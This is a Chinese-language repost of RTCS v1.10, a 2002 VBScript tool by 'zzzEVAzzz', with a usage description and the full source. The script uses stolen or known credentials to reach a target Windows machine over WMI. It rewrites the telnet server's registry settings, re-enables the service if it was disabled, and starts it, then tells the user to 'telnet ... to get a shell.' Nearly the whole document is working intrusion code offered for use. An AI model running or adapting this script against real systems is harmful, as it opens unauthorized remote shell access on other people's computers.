********************************************************************************
RTCS v1.10
Remote Telnet Configure Script, by zzzEVAzzz
Welcome to visite www.isgrey.com
Usage:
cscript c:\scriptpath\RTCS.vbe targetIP username password NTLMAuthor telnetport
It will auto change state of target telnet server.
********************************************************************************
描述:遠程開啟/關閉目標telnet服務的windows指令碼。
特點:不依賴於目標的ipc$開放與否。
原理:直接存取目標的windows管理規範服務(WMI)。該服務為系統重要服務,預設啟動。
支援平台:win2kpro win2kserver winxp win.net
使用方法:
在命令列方式下使用windows內建的指令碼宿主程式cscript.exe呼叫指令碼,例如:
c:\>cscript RTCS.vbe <目標IP> <使用者名稱> <密碼> <NTLM驗證方式> <telnet服務連接埠>
其中 NTLM 值可取0,1,2:
0: 不使用 NTLM 身分識別驗證;
1: 先嘗試 NTLM 身分識別驗證。如果失敗,再使用使用者名稱和密碼;
2: 只使用 NTLM 身分識別驗證。
空密碼用兩個雙引號""表示。
指令碼自動檢查目標telnet服務情況,如果未啟動則啟動它,相反就關閉。
同一個命令執行兩遍,就開/關一次服務。
關閉服務時也必須輸入共5個參數,這樣可以根據需要把服務設定還原為預設值(NTLM=2,連接埠23)。
如果telnet服務被禁用,將自動更改為“手動”。
如果要對本地使用,IP地址為127.0.0.1或者一個點(用.表示),使用者名稱和密碼都為空白(用""表示)。
此指令碼為自由軟體,修改發布請著明原作者。謝謝合作。
本人提供有限支援人員,有問題請到論壇發短訊息給我。我的ID是zzzevazzz
最後更新:2002-8-23
更新記錄:
1.10 更改了輸出顯示格式。
1.09 解決了空密碼的問題。
1.08 代碼加密並以測試版發布。
1.07 增加對付服務被“禁用”的功能。
1.06 解決在圖形介面下啟動並執行問題。
1.05 對參數做簡單判斷,防止誤操作。
1.04 增加顯示Usage和詳細過程功能。
1.03 增加關閉服務功能。
1.02 增加手動設定連接埠和NTLM功能。
1.00 完成準系統,遠程啟動telnet服務,並設定NTLM=1。
複製代碼 代碼如下:
on error resume next
set outstreem=wscript.stdout
if (lcase(right(wscript.fullname,11))="wscript.exe") then
set objShell=wscript.createObject("wscript.shell")
objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
wscript.quit
end if
if wscript.arguments.count<5 then
usage()
wscript.echo "Not enough parameters."
wscript.quit
end if
ipaddress=wscript.arguments(0)
username=wscript.arguments(1)
password=wscript.arguments(2)
ntlm=wscript.arguments(3)
port=wscript.arguments(4)
if not isnumeric(ntlm) or ntlm<0 or ntlm>2 then
usage()
wscript.echo "The value of NTML is wrong."
wscript.quit
end if
if not isnumeric(port) then
usage()
wscript.echo "The value of port is wrong."
wscript.quit
end if
usage()
outstreem.write "Conneting "&ipaddress&"...."
set objlocator=createobject("wbemscripting.swbemlocator")
set objswbemservices=objlocator.connectserver(ipaddress,"root/default",username,password)
showerror(err.number)
outstreem.write "Setting NTLM="&ntlm&"...."
set objinstance=objswbemservices.get("stdregprov")
set objmethod=objinstance.methods_("SetDWORDvalue")
set objinparam=objmethod.inparameters.spawninstance_()
objinparam.hdefkey=&h80000002
objinparam.ssubkeyname="SOFTWARE\Microsoft\TelnetServer\1.0"
objinparam.svaluename="NTLM"
objinparam.uvalue=ntlm
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)
showerror(objoutparam.returnvalue)
outstreem.write "Setting port="&port&"...."
objinparam.svaluename="TelnetPort"
objinparam.uvalue=port
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)
showerror(objoutparam.returnvalue)
outstreem.write "Querying state of telnet server...."
set objswbemservices=objlocator.connectserver(ipaddress,"root\cimv2",username,password)
set colinstances=objswbemservices.execquery("select * from win32_service where name='tlntsvr'")
showerror(err.number)
for each objinstance in colinstances
if objinstance.startmode="Disabled" then
outstreem.write "Telnet server has been disabled. Now changeing start mode to manual...."
set objmethod=objinstance.methods_("changestartmode")
set objinparam=objmethod.inparameters.spawninstance_()
objinparam.startmode="Manual"
set objoutparam=objinstance.execmethod_("changestartmode",objinparam)
showerror(objoutparam.returnvalue)
end if
outstreem.write "Changeing state...."
if objinstance.started=true then
intstatus=objinstance.stopservice()
showerror(intstatus)
wscript.echo "Target telnet server has been STOP Successfully."
else
intstatus=objinstance.startservice()
showerror(intstatus)
wscript.echo "Target telnet server has been START Successfully!"
wscript.echo "Now, you can try: telnet "&ipaddress&" "&port&", to get a shell."
end if
next
function showerror(errornumber)
if errornumber<>0 then
wscript.echo "Error!"
wscript.quit
else
wscript.echo "OK!"
end if
end function
function usage()
wscript.echo string(79,"*")
wscript.echo "RTCS v1.10"
wscript.echo "Remote Telnet Configure Script, by zzzEVAzzz"
wscript.echo "Welcome to visite www.isgrey.com"
wscript.echo "Usage:"
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password NTLMAuthor telnetport"
wscript.echo "It will auto change state of target telnet server."
wscript.echo string(79,"*")&vbcrlf
end function